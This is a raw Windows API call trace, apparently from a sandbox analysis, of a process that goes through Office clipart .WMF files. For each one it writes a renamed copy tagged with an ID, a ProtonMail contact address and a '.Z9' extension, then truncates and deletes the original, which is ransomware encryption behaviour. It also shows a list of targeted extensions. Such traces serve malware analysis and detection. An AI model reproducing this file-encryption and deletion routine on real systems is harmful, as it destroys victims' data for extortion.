	[0085.845] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.845] lstrlenW (lpString="BL00270_.WMF") returned 12
	[0085.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.846] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3016) returned 1
	[0085.846] CloseHandle (hObject=0x38c) returned 1
	[0085.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220
	[0085.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.846] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.846] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.848] GetLastError () returned 0x0
	[0085.848] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0085.849] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0085.850] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.850] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.850] SetEndOfFile (hFile=0x338) returned 1
	[0085.850] CloseHandle (hObject=0x338) returned 1
	[0085.851] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.851] SetEndOfFile (hFile=0x38c) returned 1
	[0085.852] CloseHandle (hObject=0x38c) returned 1
	[0085.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.853] lstrlenW (lpString=".doc") returned 4
	[0085.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.853] lstrlenW (lpString=".docx") returned 5
	[0085.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.853] lstrlenW (lpString=".pdf") returned 4
	[0085.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.853] lstrlenW (lpString=".xls") returned 4
	[0085.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.853] lstrlenW (lpString=".xlsx") returned 5
	[0085.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.853] lstrlenW (lpString=".ppt") returned 4
	[0085.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.853] lstrlenW (lpString=".zip") returned 4
	[0085.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.853] lstrlenW (lpString=".rar") returned 4
	[0085.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.853] lstrlenW (lpString=".bz2") returned 4
	[0085.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.853] lstrlenW (lpString=".7z") returned 3
	[0085.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.853] lstrlenW (lpString=".dbf") returned 4
	[0085.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".1cd") returned 4
	[0085.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".jpg") returned 4
	[0085.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".doc") returned 4
	[0085.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString=".docx") returned 5
	[0085.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.854] lstrlenW (lpString=".pdf") returned 4
	[0085.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString=".xls") returned 4
	[0085.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.854] lstrlenW (lpString=".xlsx") returned 5
	[0085.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.854] lstrlenW (lpString=".ppt") returned 4
	[0085.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".zip") returned 4
	[0085.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.854] lstrlenW (lpString=".rar") returned 4
	[0085.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString=".bz2") returned 4
	[0085.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString=".7z") returned 3
	[0085.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".dbf") returned 4
	[0085.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.854] lstrlenW (lpString=".1cd") returned 4
	[0085.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0085.855] lstrlenW (lpString=".jpg") returned 4
	[0085.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.855] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.855] lstrlenW (lpString="BL00273_.WMF") returned 12
	[0085.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.855] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3780) returned 1
	[0085.855] CloseHandle (hObject=0x38c) returned 1
	[0085.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220
	[0085.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.855] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.855] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.856] GetLastError () returned 0x0
	[0085.856] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xec4, lpOverlapped=0x0) returned 1
	[0085.858] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xed0, lpOverlapped=0x0) returned 1
	[0085.859] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.859] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.859] SetEndOfFile (hFile=0x338) returned 1
	[0085.859] CloseHandle (hObject=0x338) returned 1
	[0085.860] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.860] SetEndOfFile (hFile=0x38c) returned 1
	[0085.861] CloseHandle (hObject=0x38c) returned 1
	[0085.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString=".doc") returned 4
	[0085.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString=".docx") returned 5
	[0085.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.862] lstrlenW (lpString=".pdf") returned 4
	[0085.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString=".xls") returned 4
	[0085.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.862] lstrlenW (lpString=".xlsx") returned 5
	[0085.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.862] lstrlenW (lpString=".ppt") returned 4
	[0085.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString=".zip") returned 4
	[0085.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.862] lstrlenW (lpString=".rar") returned 4
	[0085.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString=".bz2") returned 4
	[0085.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString=".7z") returned 3
	[0085.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString=".dbf") returned 4
	[0085.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString=".1cd") returned 4
	[0085.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.862] lstrlenW (lpString=".jpg") returned 4
	[0085.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString=".doc") returned 4
	[0085.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString=".docx") returned 5
	[0085.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.863] lstrlenW (lpString=".pdf") returned 4
	[0085.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString=".xls") returned 4
	[0085.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.863] lstrlenW (lpString=".xlsx") returned 5
	[0085.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.863] lstrlenW (lpString=".ppt") returned 4
	[0085.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString=".zip") returned 4
	[0085.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.863] lstrlenW (lpString=".rar") returned 4
	[0085.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString=".bz2") returned 4
	[0085.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString=".7z") returned 3
	[0085.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString=".dbf") returned 4
	[0085.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString=".1cd") returned 4
	[0085.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0085.863] lstrlenW (lpString=".jpg") returned 4
	[0085.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.864] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.864] lstrlenW (lpString="BL00274_.WMF") returned 12
	[0085.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.864] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4164) returned 1
	[0085.864] CloseHandle (hObject=0x38c) returned 1
	[0085.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220
	[0085.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.864] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.864] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.865] GetLastError () returned 0x0
	[0085.865] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1044, lpOverlapped=0x0) returned 1
	[0085.866] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1050, lpOverlapped=0x0) returned 1
	[0085.867] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.867] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.867] SetEndOfFile (hFile=0x338) returned 1
	[0085.868] CloseHandle (hObject=0x338) returned 1
	[0085.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.869] SetEndOfFile (hFile=0x38c) returned 1
	[0085.870] CloseHandle (hObject=0x38c) returned 1
	[0085.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1
	[0085.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.870] lstrlenW (lpString=".doc") returned 4
	[0085.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.870] lstrlenW (lpString=".docx") returned 5
	[0085.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.870] lstrlenW (lpString=".pdf") returned 4
	[0085.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.870] lstrlenW (lpString=".xls") returned 4
	[0085.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.870] lstrlenW (lpString=".xlsx") returned 5
	[0085.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.870] lstrlenW (lpString=".ppt") returned 4
	[0085.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString=".zip") returned 4
	[0085.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.871] lstrlenW (lpString=".rar") returned 4
	[0085.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString=".bz2") returned 4
	[0085.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString=".7z") returned 3
	[0085.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString=".dbf") returned 4
	[0085.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString=".1cd") returned 4
	[0085.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString=".jpg") returned 4
	[0085.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.871] lstrlenW (lpString=".doc") returned 4
	[0085.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString=".docx") returned 5
	[0085.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.871] lstrlenW (lpString=".pdf") returned 4
	[0085.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.871] lstrlenW (lpString=".xls") returned 4
	[0085.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.871] lstrlenW (lpString=".xlsx") returned 5
	[0085.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.871] lstrlenW (lpString=".ppt") returned 4
	[0085.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.872] lstrlenW (lpString=".zip") returned 4
	[0085.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.872] lstrlenW (lpString=".rar") returned 4
	[0085.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.872] lstrlenW (lpString=".bz2") returned 4
	[0085.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.872] lstrlenW (lpString=".7z") returned 3
	[0085.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.872] lstrlenW (lpString=".dbf") returned 4
	[0085.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
	[0085.872] lstrlenW (lpString=".1cd") returned 4
	[0085.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68
